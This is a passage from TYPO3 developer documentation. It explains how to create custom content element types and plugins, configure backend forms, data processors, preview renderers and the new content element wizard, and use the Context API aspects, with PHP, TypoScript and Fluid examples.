        Bootstrap::initializeBackendAuthentication();
        // Do backend related stuff

        return Command::SUCCESS;
    }
}
Copied!

This is necessary when using DataHandler or other backend permission handling related tasks.

More information

Content Elements & Plugins

This chapter handles content elements & plugins: What they are, how they can be created, how existing content elements or plugins can be customized etc.

Table of Contents

Introduction

What are content elements?

Content elements (often abbreviated as CE) are the building blocks that make up a page in TYPO3.

Content elements are stored in the database table tt_content. Each content element has a specific content element type, specified by the database field tt_content.CType. A content element can be of a type supplied by TYPO3, such as 'textmedia' (text with or without images or videos). Or it can have a custom type supplied by an extension such as 'carousel' provided by the bootstrap_package extension.

Content elements are one of the elements (along with pages) that can be filled with content by editors and will be rendered in the frontend when a page is generated.

Content elements are arranged on a page, depending on their

  • language (field: tt_content.sys_language_uid)
  • sorting (field: tt_content.sorting)
  • column (field: tt_content.colPos)
  • etc.

What are plugins?

Plugins are a specific type of content elements. Typical characteristics of plugins are:

  • Used if more complex functionality is required
  • Plugins can be created using the Extbase framework or as pibase (AbstractPlugin) plugin.
  • tt_content.CType = list and tt_content.list_type contains the plugin signature.

A typical extension with plugins is the 'news' extension which comes with plugins to display news records in lists or as a single view. The news records are stored in a custom database table and can be edited in the backend (in the list module).

Editing

The Editors Tutorial describes how to work with page content and lists the basic TYPO3 content elements and how to work with them.

Additional descriptions can be found the fluid_styled_content documentation.

Customizing

Backend Layouts can be configured to define how content elements are arranged in the TYPO3 backend (in rows, columns, grids). This can be used in the frontend to determine how the content elements are to be arranged (e.g. in the footer of the page, left column etc.).

Often content elements and plugins contain a number of fields. Not all of these may be relevant for your site. It is good practice to configure which fields will be displayed in the backend. There are a number of ways to do this:

Creating custom content element types or plugins

The following chapters handle how to create custom content element types and plugins:

How to make your plugins or content elements configurable by editors with

Create a custom content element type

This page explains how to create your own custom content element types. These are comparable to the predefined content element types supplied by TYPO3. The latter can be found in the system extension fluid_styled_content.

A content element can be based on fields already available in the tt_content table.

It is also possible to add extra fields to the tt_content table, see Extending tt_content.

The data of the content element is then passed to a TypoScript object, in most cases to a FLUIDTEMPLATE.

Some data might need additional Data processing. Data processors are frequently used for example to process files (FilesProcessor) or to fetch related records (DatabaseQueryProcessor).

A data processor can also be used to convert a string to an array, as is done for example in the table content element with the field bodytext.

In these cases Fluid does not have to deal with these manipulations or transformation.

You can find the example below in the TYPO3 Documentation Team extension examples.

Prerequisites

The following examples require the system extension fluid_styled_content.

It can be installed via Composer with:

composer req typo3/cms-fluid-styled-content
Copied!

Use an extension

We recommend to create your own extension for new custom content element types. The following example uses the extension key examples.

Here you can find information on how to create an extension.

Register the content element type

First we need to define the key of the new content element type. We use examples_newcontentelement throughout the simple example.

Next the key needs to be added to the select field CType. This will make it available in Type dropdown in the backend.

The following call needs to be added to the file Configuration/TCA/Overrides/tt_content.php.

<?php
// Adds the content element to the "Type" dropdown
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTcaSelectItem(
    'tt_content',
    'CType',
    [
        // title
        'LLL:EXT:examples/Resources/Private/Language/locallang.xlf:examples_newcontentelement_title',
        // plugin signature: extkey_identifier
        'examples_newcontentelement',
        // icon identifier
        'content-text',
    ],
    'textmedia',
    'after'
);

// Adds the content element icon to TCA typeicon_classes
$GLOBALS['TCA']['tt_content']['ctrl']['typeicon_classes']['myextension_newcontentelement'] = 'content-text';

// ...
Copied!

Now the new content element is available in the backend form. However it currently contains no fields but the CType field.

CType dropdown in tt_content

About the icon

You can either use an existing icon from the TYPO3 core or register your own icon using the Icon API. In this example we use the icon content-text, the same icon as the Regular Text Element uses.

Add it to the new content element wizard

Content elements in the New Content Element Wizard are easier to find for editors. It is therefore advised to add the new content element to this wizard (via page TSconfig).

EXT:examples/Configuration/page.tsconfig
mod.wizards.newContentElement.wizardItems {
   // add the content element to the tab "common"
   common {
      elements {
         examples_newcontentelement {
            iconIdentifier = content-text
            title = LLL:EXT:examples/Resources/Private/Language/locallang.xlf:examples_newcontentelement_title
            description = LLL:EXT:examples/Resources/Private/Language/locallang.xlf:examples_newcontentelement_description
            tt_content_defValues {
               CType = examples_newcontentelement
            }
         }
      }
      show := addToList(examples_newcontentelement)
   }
}
Copied!

Content element wizard with thCTypee new content element

The content element wizard configuration is described in detail in Add content elements to the Content Element Wizard.

Configure the backend form

Then you need to configure the backend fields for your new content element in the file Configuration/TCA/Overrides/tt_content.php:

// Configure the default backend fields for the content element
$GLOBALS['TCA']['tt_content']['types']['examples_newcontentelement'] = [
   'showitem' => '
         --div--;LLL:EXT:core/Resources/Private/Language/Form/locallang_tabs.xlf:general,
            --palette--;;general,
            header; Internal title (not displayed),
            bodytext;LLL:EXT:frontend/Resources/Private/Language/locallang_ttc.xlf:bodytext_formlabel,
         --div--;LLL:EXT:core/Resources/Private/Language/Form/locallang_tabs.xlf:access,
            --palette--;;hidden,
            --palette--;;access,
      ',
   'columnsOverrides' => [
      'bodytext' => [
         'config' => [
            'enableRichtext' => true,
            'richtextConfiguration' => 'default',
         ],
      ],
   ],
];
Copied!

Now the backend form for the new content elements looks like this:

The backend form

Configure the frontend rendering

The output in the frontend gets configured in the setup TypoScript. See Add TypoScript to your extension about how to add TypoScript.

In the examples extension the TypoScript can be found at Configuration/TypoScript/setup.typoscript

The Fluid templates for our custom content element will be saved in our extension. Therefore we need to add the path to the Properties:

lib.contentElement {
    templateRootPaths.200 = EXT:examples/Resources/Private/Templates/
}
Copied!

You can use any index (200 in this example), just make sure it is unique. If needed you can also add paths for partials and layouts.

Now you can register the rendering of your custom content element:

tt_content {
    examples_newcontentelement =< lib.contentElement
    examples_newcontentelement {
        templateName = NewContentElement
    }
}
Copied!

The lib.contentElement path is defined in file EXT:fluid_styled_content/Configuration/TypoScript/Helper/ContentElement.typoscript. and uses a FLUIDTEMPLATE.

We reference fluid_styled_contents lib.contentElement from our new content element and only change the Fluid template to be used.

The Fluid template is configured by the Properties property as NewContentElement.

This will load a NewContentElement.html template file from the path defined at the templateRootPaths.

In the example extension you can find the file at EXT:examples/Resources/Private/Templates/NewContentElement.html

tt_content fields can now be used in the Fluid template by accessing them via the data variable. The following example shows the text entered in the richtext enabled field bodytext, using the html saved by the richtext editor:

EXT:examples/Resources/Private/Templates/NewContentElement.html
<html data-namespace-typo3-fluid="true"
      xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers">
   <h2>Data available to the content element: </h2>
   <f:debug inline="true">{_all}</f:debug>
   <h2>Output</h2>
   <div><f:format.html>{data.bodytext}</f:format.html></div>
</html>
Copied!

All fields of the table tt_content are now available in the variable data. Since we saved the content of bodytext in the richt text editor we have to run it through f:format.html to resolve all links and other formatting. Read more about Fluid.

Below you can see the example output of the new content element and a dump of all available data:

The example output

Extended example: Extend tt_content and use data processing

You can find the complete example in the TYPO3 Documentation Team extension examples. The steps for creating a simple new content element as above need to be repeated. We use the key examples_newcontentcsv in this example.

We want to output comma separated values (CSV) stored in the field bodytext. As different programs use different separators to store CSV we want to make the separator configurable.

Extending tt_content

If the available fields in the table tt_content are not sufficient you can add your own fields. In this case we need a field tx_examples_separator from which to choose the desired separator.

Extending the database schema

First we extend the database schema by adding the following to the file ext_tables.sql:

CREATE TABLE tt_content (
   tx_examples_separator VARCHAR(255) DEFAULT '0' NOT NULL,
);
Copied!

Defining the field in the TCA

The new field tx_examples_separator is added to the TCA definition of the table tt_content in the file Configuration/TCA/Overrides/tt_content.php:

EXT:examples/Configuration/TCA/Overrides/tt_content.php
$temporaryColumn = [
   'tx_examples_separator' => [
      'exclude' => 0,
      'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.tx_examples_separator',
      'config' => [
         'type' => 'select',
         'renderType' => 'selectSingle',
         'items' => [
            ['Standard CSV data formats', '--div--'],
            ['Comma separated', ','],
            ['Semicolon separated', ';'],
            ['Special formats', '--div--'],
            ['Pipe separated (TYPO3 tables)', '|'],
            ['Tab separated', "\t"],
         ],
         'default' => ','
      ],
   ],
];
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTCAcolumns('tt_content', $temporaryColumn);
Copied!

You can read more about defining fields via TCA in the TCA Reference.

Now the new field can be used in your Fluid template just like any other tt_content field.

Another example shows the connection to a foreign table. This allows you to be more flexible with the possible values in the select box. The new field tx_examples_main_category is a connection to the TYPO3 system category table sys_category:

EXT:examples/Configuration/TCA/Overrides/tt_content.php
'tx_examples_main_category' => [
     'exclude' => 0,
     'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.tx_examples_main_category',
     'config' => [
         'type' => 'select',
         'renderType' => 'selectSingle',
         'items' => [
             ['None', '0'],
         ],
         'foreign_table' => 'sys_category',
         'foreign_table_where' => 'AND {#sys_category}.{#pid} = ###PAGE_TSCONFIG_ID### AND {#sys_category}.{#hidden} = 0 ' .
             'AND {#sys_category}.{#deleted} = 0 AND {#sys_category}.{#sys_language_uid} IN (0,-1) ORDER BY sys_category.uid',
         'default' => '0'
     ],
],
Copied!

Defining the field in the TCE

An individual modification of the newly added field tx_examples_main_category to the TCA definition of the table tt_content can be done in the TCE (TYPO3 Core Engine) TSConfig. In most cases it is necessary to set the page id of the general storage folder. Then the examples extension will only use the content records from the given page id.

EXT:some_extension/Configuration/page.tsconfig
TCEFORM.tt_content.tx_examples_main_category.PAGE_TSCONFIG_ID = 18
Copied!

If more than one page id is allowed, this configuration must be used instead (and the above TCA must be modified to use the marker ###PAGE_TSCONFIG_IDLIST### instead of ###PAGE_TSCONFIG_ID###):

EXT:some_extension/Configuration/page.tsconfig
TCEFORM.tt_content.tx_examples_main_category.PAGE_TSCONFIG_IDLIST = 18, 19, 20
Copied!
<h2>Content separated by sign {data.tx_examples_separator}</h2>
Copied!

Data processing

Data processors can be used for data manipulation or fetching before the variables get passed on to the template.

This is done in the dataProcessing section where you can add an arbitrary number of data processors.

You can see a complete list of available data processors in the Typoscript Reference or write a custom data processor.

Each processor has to be added with a fully qualified class name and optional parameters to be used in the data processor:

tt_content {
   examples_newcontentcsv =< lib.contentElement
   examples_newcontentcsv {
      templateName = DataProcCsv
      dataProcessing.10 = TYPO3\CMS\Frontend\DataProcessing\CommaSeparatedValueProcessor
      dataProcessing.10 {
         fieldName = bodytext
         fieldDelimiter.field = tx_examples_separator
         fieldEnclosure = "
         maximumColumns.field = imagecols
         as = myTable
      }
   }
}
Copied!

You can now iterate over the variable myTable in the Fluid template, in this example Resources/Private/Templates/ContentElements/DataProcCsv.html

EXT:examples/Resources/Private/Templates/ContentElements/DataProcCsv.html
<html data-namespace-typo3-fluid="true" xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers">
   <h2>Data in variable "myTable"</h2>
   <f:debug inline="true">{myTable}</f:debug>

   <h2>Output, {data.imagecols} columns separated by char {data.tx_examples_separator}</h2>
   <table class="table table-hover">
      <f:for each="{myTable}" as="columns" iteration="i">
         <tr>
            <th scope="row">{i.cycle}</th>
            <f:for as="column" each="{columns}">
               <td>{column}</td>
            </f:for>
         <tr>
      </f:for>
   </table>
</html>
Copied!

The output would look like this (we added a debug of the variable myTable):

Output of the CommaSeparatedValueProcessor

Custom data processors

When there is no suitable data processor that prepares the variables needed for your content element or template, you can define a custom data processor by implementing \TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface .

You can find the example below in the TYPO3 Documentation Team extension examples.

Using a custom data processor in TypoScript

The data processor can be configured through a TypoScript setup configuration. A custom data processor can be used in the definition of a "new custom content element" as follows:

tt_content {
    examples_dataproccustom =< lib.contentElement
    examples_dataproccustom {
        templateName = DataProcCustom
        dataProcessing.10 = T3docs\Examples\DataProcessing\CustomCategoryProcessor
        dataProcessing.10 {
            as = categories
            categoryList.field = tx_examples_main_category
        }
    }
}
Copied!

In the extension examples you can find the code in EXT:examples/Configuration/TypoScript/setup.typoscript.

In the field tx_examples_main_category the comma-separated categories are stored.

Implementing the custom data processor

The custom data processor must implement \TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface . The main method process() gets called with the following parameters:

ContentObjectRenderer $cObj
Receives the data of the current TypoScript context, in this case the data of the calling content element.
array $contentObjectConfiguration
Contains the configuration of the calling content element. In this example all configuration of tt_content.examples_dataproccustom
array $processorConfiguration
Contains the configuration of the currently called data processor. In this case the value of as and the stdWrap configuration of the categoryList
array $processedData
On calling, contains the processed data of all previously called data processors on this content element. Your custom data processor also stores the variables to be send to Fluid here.

This is an example implementation of a custom data processor:

EXT:examples/Classes/DataProcessing/CustomCategoryProcessor.php
namespace T3docs\Examples\DataProcessing;

use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;
use TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface;
use TYPO3\CMS\Extbase\Domain\Repository\CategoryRepository;

class CustomCategoryProcessor implements DataProcessorInterface
{
    public function process(
        ContentObjectRenderer $cObj,
        array $contentObjectConfiguration,
        array $processorConfiguration,
        array $processedData
    ) : array {
        if (isset($processorConfiguration['if.']) && !$cObj->checkIf($processorConfiguration['if.'])) {
            // leave $processedData unchanged in case there were previous other processors
            return $processedData;
        }
        // categories by comma-separated list
        $categoryIdList = $cObj->stdWrapValue('categoryList', $processorConfiguration ?? []);
        if ($categoryIdList) {
            $categoryIdList = GeneralUtility::intExplode(',', (string)$categoryIdList, true);
        }

        /** @var CategoryRepository $categoryRepository */
        $categoryRepository = GeneralUtility::makeInstance(CategoryRepository::class);
        $categories = [];
        foreach ($categoryIdList as $categoryId) {
            $categories[] = $categoryRepository->findByUid($categoryId);
        }
        // set the categories into a variable, default "categories"
        $targetVariableName = $cObj->stdWrapValue('as', $processorConfiguration, 'categories');
        $processedData[$targetVariableName] = $categories;
        return $processedData;
    }
}
Copied!

In the extension examples you can find the code in typo3conf/ext/examples/Classes/DataProcessing/CustomCategoryProcessor.php.

On being called, the CustomCategoryProcessor runs stdWrap on the calling ContentObjectRenderer, which has the data of the table tt_content in the calling content element.

Since the field categoryList got configured in TypoScript as follows:

categoryList.field = tx_examples_main_category
Copied!

stdWrap fetches the value of categoryList from tt_content.tx_examples_main_category of the currently calling content element.

Now the custom data processor processes the comma-separated values into an array of integers that represent uids of the table sys_category. It then fetches the category data from the CategoryRepository by calling findByUid.

The data of the category records then gets stored in the desired key in the $processedData array.

To make the data processor more configurable, we test for a TypoScript if condition at the beginning, and make the name of the key we use to store the data configurable by the configuration as.

Create plugins

How to create plugins with the Extbase framework and Fluid templating engine is handled in depth in the chapter Registration of frontend plugins.

There are basically three ways to create plugins in TYPO3:

  1. With the Extbase framework using configurePlugin() in the file ext_localconf.php and registerPlugin() in the file Configuration/TCA/Overrides/tt_content.php
  2. Create a frontend plugin using Core functionality and a custom controller
  3. Create a plugin using AbstractPlugin without Extbase

Generally speaking, if you already use Extbase, it is good practice to create your plugins using the Extbase framework. This also involves:

  • creating controller actions
  • create a domain model and repository (if your plugin requires records that are persisted in the database)
  • create a view using Fluid templates

Configure custom backend preview for content element

To allow editors a smoother experience, all custom content elements and plugins should be configured with a corresponding backend preview that shows an approximation of the element's appearance in the TYPO3 page module. The following sections describe how to achieve that.

A preview renderer is used to facilitate (record) previews in TYPO3. This class is responsible for generating the preview and the wrapping.

The default preview renderer is \TYPO3\CMS\Backend\Preview\StandardContentPreviewRenderer and handles the Core's built-in content types (field CType in table tt_content).

Extend the default preview renderer

There are two ways to provide previews for your custom content types: via page TSconfig or hook.

Page TSconfig

This is the "integrator" way, no PHP coding is required. Just some page TSconfig and a Fluid template.

EXT:my_extension/Configuration/page.tsconfig
mod.web_layout {
  tt_content {
    preview {
      # Your CType
      example_ctype = EXT:my_extension/Resources/Private/Templates/Preview/ExampleCType.html
    }
  }
}
Copied!

For more details see the TSconfig Reference.

Hook

This requires at least some PHP coding, but allows more flexibility in accessing and processing the content elements properties.

EXT:some_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['cms/layout/class.tx_cms_layout.php']['tt_content_drawItem'][]
    = MyVendor\MyExtension\Backend\DrawItem::class;
Copied!

Changed in version 12.0

In version 12.0 this hook will been removed and replaced by the event PageContentPreviewRenderingEvent

Writing a PreviewRenderer

A custom preview renderer must implement the interface \TYPO3\CMS\Backend\Preview\PreviewRendererInterface which contains the following API methods:

interface PreviewRendererInterface
Fully qualified name
\TYPO3\CMS\Backend\Preview\PreviewRendererInterface

Interface PreviewRendererInterface

Contract for classes capable of rendering previews of a given record from a table. Responsible for rendering preview header, preview content and wrapping of those two values.

Responsibilities are segmented into three methods, one for each responsibility, which is done in order to allow overriding classes to change those parts individually without having to replace other parts. Rather than relying on implementations to be friendly and divide code into smaller pieces and give them (at least) protected visibility, the key methods are instead required on the interface directly.

Callers are then responsible for calling each method and combining/wrapping the output appropriately.

renderPageModulePreviewHeader ( TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item)

Dedicated method for rendering preview header HTML for the page module only. Receives the the GridColumnItem that contains the record for which a preview header should be rendered and returned.

param TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item

the item

returntype

string

renderPageModulePreviewContent ( TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item)

Dedicated method for rendering preview body HTML for the page module only. Receives the the GridColumnItem that contains the record for which a preview should be rendered and returned.

param TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item

the item

returntype

string

renderPageModulePreviewFooter ( TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item)

Render a footer for the record to display in page module below the body of the item's preview.

param TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item

the item

returntype

string

wrapPageModulePreview ( string $previewHeader, string $previewContent, TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item)

Dedicated method for wrapping a preview header and body HTML. Receives $item, an instance of GridColumnItem holding among other things the record, which can be used to determine appropriate wrapping.

param string $previewHeader

the previewHeader

param string $previewContent

the previewContent

param TYPO3\\CMS\\Backend\\View\\BackendLayout\\Grid\\GridColumnItem $item

the item

returntype

string

Implementing these methods allows you to control the exact composition of the preview.

This means assuming your preview renderer returns <h4>Header</h4> from the header render method and <p>Body</p> from the preview content rendering method and your wrapping method does return '<div>' . $previewHeader . $previewContent . '</div>'; then the entire output becomes <div><h4>Header</h4><p>Body</p></div> when combined.

Should you wish to reuse parts of the default preview rendering and only change, for example, the method that renders the preview body content, you can extend \TYPO3\CMS\Backend\Preview\StandardContentPreviewRenderer in your custom preview renderer class - and selectively override the methods from the API displayed above.

Configuring the implementation

Individual preview renderers can be defined by using one of the following approaches:

  1. Any record

    $GLOBALS['TCA'][$table]['ctrl']['previewRenderer']
        = MyVendor\MyExtension\Preview\MyPreviewRenderer::class;
    Copied!

    This specifies the preview renderer to be used for any record in $table.

  2. Table has a type field/attribute

    $GLOBALS['TCA'][$table]['types'][$type]['previewRenderer']
        = MyVendor\MyExtension\Preview\MyPreviewRenderer::class;
    Copied!

    This specifies the preview renderer only for records of type $type as determined by the type field of your table.

  3. Table and field have a subtype_value_field TCA setting

    If your table and field have a subtype_value_field TCA setting (like tt_content.list_type for example) and you want to register a preview renderer that applies only when that value is selected (assume, when a certain plugin type is selected and you can't match it with the "type" of the record alone):

    $GLOBALS['TCA'][$table]['types'][$type]['previewRenderer'][$subType]
        = MyVendor\MyExtension\Preview\MyPreviewRenderer::class;
    Copied!

    Where $type is, for example, list (indicating a plugin) and $subType is the value of the list_type field when the type of plugin you want to target is selected as plugin type.

Add content elements to the Content Element Wizard

The content elements wizard is opened when a new content element is created.

The content element wizard can be fully configured using TSConfig.

Our extension key is example and the name of the content element or plugin is registration.

  1. Create page TSconfig

    Configuration/TsConfig/Page/Mod/Wizards/NewContentElement.tsconfig:

    mod.wizards {
        newContentElement.wizardItems {
            plugins {
                elements {
                    example_registration {
                        iconIdentifier = example-registration
                        title = Registration Example
                        description = Create a registration form
                        tt_content_defValues {
                            CType = list
                            list_type = example_registration
                        }
                    }
                }
            }
        }
    }
    Copied!

    You may want to replace title and description, using language files for translation, for example:

    title = LLL:EXT:example/Resources/Private/Language/locallang.xlf:registration_title
    description = LLL:EXT:example/Resources/Private/Language/locallang.xlf:registration_description
    Copied!
  2. Include TSconfig

    ext_localconf.php:

    \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPageTSConfig(
        '<INCLUDE_TYPOSCRIPT: source="FILE:EXT:example/Configuration/TsConfig/Page/Mod/Wizards/NewContentElement.tsconfig">'
    );
    Copied!

    This always includes the above page TSconfig. It is better practice to make this configurable by registering this file as static page TSconfig.

  3. Register your icon

    EXT:example/Configuration/Icons.php
    <?php
    
    return [
       // use same identifier as used in TSconfig for icon
       'example-registration' => [
          'provider' => \TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider::class,
          'source' => 'EXT:example/Resources/Public/Icons/example-registration.svg',
       ],
    ];
    Copied!
  4. After clearing cache, create a new content element

    You should now see the icon, title and description you just added!

    Content element wizard with thCTypee new content element

Add your plugin or content element to a different tab

The above example adds your plugin to the tab "Plugin" in the content element wizard. You can add it to one of the other existing tabs or create a new one.

If you add it to any of the other tabs (other than plugins), you must add the name to show as well:

mod.wizards.newContentElement.wizardItems.common {
    elements {
        example_registration {
            iconIdentifier = example-registration
            title = Example title
            description = Example description
            tt_content_defValues {
                CType = list
                list_type = example_registration
            }
        }
    }
    show := addToList(example_registration)
}
Copied!
  • When you look at existing page TSconfig in the Info module, you may notice that show has been set to include all for the "plugins" tab:
show = *
Copied!

Create a new tab

See bootstrap_package for example of creating a new tab "interactive" and adding elements to it:

mod.wizards.newContentElement.wizardItems {
    interactive.header = LLL:EXT:bootstrap_package/Resources/Private/Language/Backend.xlf:content_group.interactive
    interactive.elements {
        accordion {
            iconIdentifier = content-bootstrappackage-accordion
            title = LLL:EXT:bootstrap_package/Resources/Private/Language/Backend.xlf:content_element.accordion
            description = LLL:EXT:bootstrap_package/Resources/Private/Language/Backend.xlf:content_element.accordion.description
            tt_content_defValues {
                CType = accordion
            }
        }
    }
}
Copied!

Best practices

Following are some good practices for creating custom content element types and plugins and for customizing content elements for usage in the backend.

  • Use a sitepackage extension to maintain your site customization (such as backend layouts, custom content elements etc.)
  • How you structure your extensions depends a little on the use case and if they will be reused in several projects and / or made public. If you create one extension for every custom content element, you may want to think about whether they might be merged into one extension.
  • Do not use deprecated functionality. Read the Core Changelog to check for deprecations and breaking changes between TYPO3 versions.
  • Some naming conventions are described in the chapter Naming conventions.
  • Read (or skim) the Coding guidelines.
  • Make it easier for your editors by hiding the following by configuration

    • content elements that should not be used in the "Content Element Wizard"
    • fields that should not be filled out in the backend forms.

Context API and aspects

Introduction

The Context API encapsulates various information for data retrieval (for example, inside the database) and analysis of current permissions and caching information.

Previously, various information was distributed inside globally accessible objects ( $TSFE or $GLOBALS['BE_USER']) like the current workspace ID or if a frontend or backend user is authenticated. Having a global object available was also dependent on the current request type (frontend or backend), instead of having one consistent place where all this data is located.

The context is set up at the very beginning of each TYPO3 entry point, keeping track of the current time (formally known as $GLOBALS['EXEC_TIME']), if a user is logged in (formerly known as $GLOBALS['TSFE']->loginUser ), and which workspace is currently accessed.

The \TYPO3\CMS\Core\Context\Context object can be retrieved via dependency injection:

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}
}
Copied!

This information is separated in so-called "aspects", each being responsible for a certain area.

Aspects

Date time aspect

Contains time, date and timezone information for the current request.

The date time aspect, \TYPO3\CMS\Core\Context\DateTimeAspect , accepts the following properties:

timestamp

timestamp
Call
$this->context->getPropertyFromAspect('date', 'timestamp');

Returns the Unix timestamp as an integer value.

timezone

timezone
Call
$this->context->getPropertyFromAspect('date', 'timezone');

Returns the timezone name, for example, "Germany/Berlin".

iso

iso
Call
$this->context->getPropertyFromAspect('date', 'iso');

Returns the datetime as string in ISO 8601 format, for example, "2004-02-12T15:19:21+00:00".

full

full
Call
$this->context->getPropertyFromAspect('date', 'full');

Returns the complete \DateTimeImmutable object.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $currentTimestamp = $this->context->getPropertyFromAspect(
            'date',
            'timestamp'
        );

        // ... do something with $currentTimestamp
    }
}
Copied!

Language aspect

Contains information about language settings for the current request, including fallback and overlay logic.

The language aspect, \TYPO3\CMS\Core\Context\LanguageAspect accepts the following properties:

id

id
Call
$this->context->getPropertyFromAspect('language', 'id');

Returns the requested language of the current page as integer (uid).

contentId

contentId
Call

$this->context->getPropertyFromAspect('language', 'contentId');

Returns the language ID of records to be fetched in translation scenarios as integer (uid).

fallbackChain

fallbackChain
Call

$this->context->getPropertyFromAspect('language', 'fallbackChain');

Returns the fallback steps as array.

overlayType

overlayType
Call

$this->context->getPropertyFromAspect('language', 'overlayType');

Returns one of

  • LanguageAspect::OVERLAYS_OFF
  • LanguageAspect::OVERLAYS_MIXED
  • LanguageAspect::OVERLAYS_ON or
  • LanguageAspect::OVERLAYS_ON_WITH_FLOATING (default)

See Overlay types for more details.

legacyLanguageMode

legacyLanguageMode
Call

$this->context->getPropertyFromAspect('language', 'legacyLanguageMode');

Returns one of

  • strict
  • ignore or
  • content_fallback.

This property is kept for compatibility reasons. Do not use, if not really necessary, the option will be removed rather sooner than later.

legacyOverlayType

legacyOverlayType
Call

$this->context->getPropertyFromAspect('language', 'legacyOverlayType');

Returns one of

  • hideNonTranslated
  • 0 or
  • 1.

This property is kept for compatibility reasons. Do not use, if not really necessary, the option will be removed rather sooner than later.

Overlay types

LanguageAspect::OVERLAYS_OFF
Just fetch records from the selected language as given by $GLOBALS['TSFE']->sys_language_content . No overlay will happen, no fetching of the records from the default language. This boils down to "free mode" language handling. Records without a default language parent are included.
LanguageAspect::OVERLAYS_MIXED
Fetch records from the default language and overlay them with translations. If a record is not translated, the default language will be used.
LanguageAspect::OVERLAYS_ON
Fetch records from the default language and overlay them with translations. If a record is not translated, it will not be displayed.
LanguageAspect::OVERLAYS_ON_WITH_FLOATING
Fetch records from the default language and overlay them with translations. If a record is not translated, it will not be shown. Records without a default language parent are included.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $fallbackChain = $this->context->getPropertyFromAspect(
            'language',
            'fallbackChain'
        );

        // ... do something with $fallbackChain
    }
}
Copied!

Preview aspect

The preview aspect may be used to indicate that the frontend is in preview mode (for example, in case a workspace is previewed or hidden pages or records should be shown).

The preview aspect, \TYPO3\CMS\Frontend\Aspect\PreviewAspect , contains the following property:

isPreview

isPreview
Call

$this->context->getPropertyFromAspect('frontend.preview', 'isPreview');

Returns, whether the frontend is currently in preview mode.

TypoScript aspect

The TypoScript aspect can be used to manipulate/check whether TemplateRendering is forced.

The TypoScript aspect, \TYPO3\CMS\Core\Context\TypoScriptAspect contains the following property:

forcedTemplateParsing

forcedTemplateParsing
Call

$this->context->getPropertyFromAspect('typoscript', 'forcedTemplateParsing');

Returns, whether TypoScript template parsing is forced.

User aspect

Contains information about authenticated users in the current request. The aspect can be used for frontend and backend users.

The user aspect, \TYPO3\CMS\Core\Context\UserAspect , accepts the following properties:

id

id
Call
$this->context->getPropertyFromAspect('frontend.user', 'id'); or $this->context->getPropertyFromAspect('backend.user', 'id');

Returns the uid of the currently logged in user, 0 if no user is logged in.

username

username
Call

$this->context->getPropertyFromAspect('frontend.user', 'username'); or $this->context->getPropertyFromAspect('backend.user', 'username');

Returns the username of the currently authenticated user. Empty string, if no user is logged in.

isLoggedIn

isLoggedIn
Call

$this->context->getPropertyFromAspect('frontend.user', 'isLoggedIn'); or $this->context->getPropertyFromAspect('backend.user', 'isLoggedIn');

Returns, whether a user is logged in, as boolean.

isAdmin

isAdmin
Call

$this->context->getPropertyFromAspect('backend.user', 'isAdmin');

Returns, whether the user is an administrator, as boolean. It is only useful for backend users.

groupIds

groupIds
Call

$this->context->getPropertyFromAspect('frontend.user', 'groupIds'); or $this->context->getPropertyFromAspect('backend.user', 'groupIds');

Returns the groups the user is a member of, as array.

groupNames

groupNames
Call

$this->context->getPropertyFromAspect('frontend.user', 'groupNames'); or $this->context->getPropertyFromAspect('backend.user', 'groupNames');

Returns the names of all groups the user belongs to, as array.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $userIsLoggedIn = $this->context->getPropertyFromAspect(
            'frontend.user',
            'isLoggedIn'
        );

        // ... do something with $userIsLoggedIn
    }
}
Copied!

Visibility aspect

The aspect contains whether to show hidden pages, records (content) or even deleted records.

The visibility aspect, \TYPO3\CMS\Core\Context\VisibilityAspect , accepts the following properties:

includeHiddenPages

includeHiddenPages
Call

$this->context->getPropertyFromAspect('visibility', 'includeHiddenPages');

Returns, whether hidden pages should be displayed, as boolean.

includeHiddenContent

includeHiddenContent
Call

$this->context->getPropertyFromAspect('visibility', 'includeHiddenContent');

Returns, whether hidden content should be displayed, as boolean.

includeDeletedRecords

includeDeletedRecords
Call

$this->context->getPropertyFromAspect('visibility', 'includeDeletedRecords');

Returns, whether deleted records should be displayed, as boolean.

Example

EXT:my_extension/Classes/Controller/MyController.php
